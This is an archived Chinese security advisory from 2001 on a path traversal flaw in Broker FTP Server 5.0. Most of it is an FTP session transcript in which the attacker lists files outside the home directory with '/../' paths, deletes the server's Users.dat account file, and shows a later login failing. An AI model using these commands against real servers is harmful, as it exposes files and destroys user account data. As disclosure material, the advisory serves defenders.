The Wayback Machine - https://web.archive.org/web/20010311143902/http://www.cnhonker.com:80/whatnew/data/20010308/010133.htm

本新闻已被浏览 次

Broker Ftp 服务器泄露系统文件漏洞

2001-03-08.01:01:33

涉及程序:
Broker Ftp Server

描述:
通过构造特殊的文件路径导致Broker Ftp 泄露文件系统

详细:
攻击者通过使用特殊文件路径能导致Broker Ftp 泄露文件系统，并且能在 Home 目录之外执行命令。

以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负

230 User test logged in.
ftp> dir
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw- 1 ftp ftp 0 Mar 02 12:17 test
-rw-rw-rw- 1 ftp ftp 6 Mar 02 12:33 movedtohomedir.txt
-rw-rw-rw- 1 ftp ftp 11 Mar 02 00:29 bisontest.txt
drw-rw-rw- 1 ftp ftp 0 Mar 03 15:59 HTTP
drw-rw-rw- 1 ftp ftp 0 Mar 03 17:05 huhu
226 File sent ok
FTP: 323 Bytes empfangen in 0,00Sekunden
323000,00KB/s
ftp> cd ..
550 CWD failed. ..: No permission

ftp> dir /../experimental/broker/data/
200 Port command successful.
150 Opening data connection for directory list.
-rw-rw-rw- 1 ftp ftp 175 Nov 19 2000 UserGrps.dat
-rw-rw-rw- 1 ftp ftp 154 Mar 03 16:54 Users.dat
-rw-rw-rw- 1 ftp ftp 0 Mar 03 16:33 Users.4800.bak
-rw-rw-rw- 1 ftp ftp 0 Mar 03 16:34 Users.4800-Prof.bak
-rw-rw-rw- 1 ftp ftp 31 Mar 03 16:59 BannCtrl.ini
-rw-rw-rw- 1 ftp ftp 34 Mar 03 17:08 KickCtrl.ini
-rw-rw-rw- 1 ftp ftp 38 Mar 03 16:37 Events_1.dat
-rw-rw-rw- 1 ftp ftp 0 Mar 03 16:53 Events_lst_1.dat
-rw-rw-rw- 1 ftp ftp 154 Mar 03 16:54 Kopie von Users.dat
226 File sent ok
FTP: 629 Bytes empfangen in 0,00Sekunden
629000,00KB/s

删除ROOT之外的文件。

ftp> delete /../experimental/broker/data/users.dat
250 File '/../experimental/broker/data/users.dat'
deleted.
ftp> quit
221-Thank you for your visit.
221-
221 Goodbye.

C:\>ftp 10.17.3.44
Verbindung mit 10.17.3.44 wurde hergestellt.
220 FTP Server ready [***]
Benutzer (10.17.3.44:(none)): test
331 Password required for test.
Kennwort:
530 Login incorrect.
Anmeldung fehlgeschlagen.
ftp> :(

受影响系统:

Broker Ftp Server 5.0

解决方案:

H.U.C建议您在下载补丁之前暂停使用此服务器。

cnhonker.com.

>>相关资料

关闭本窗口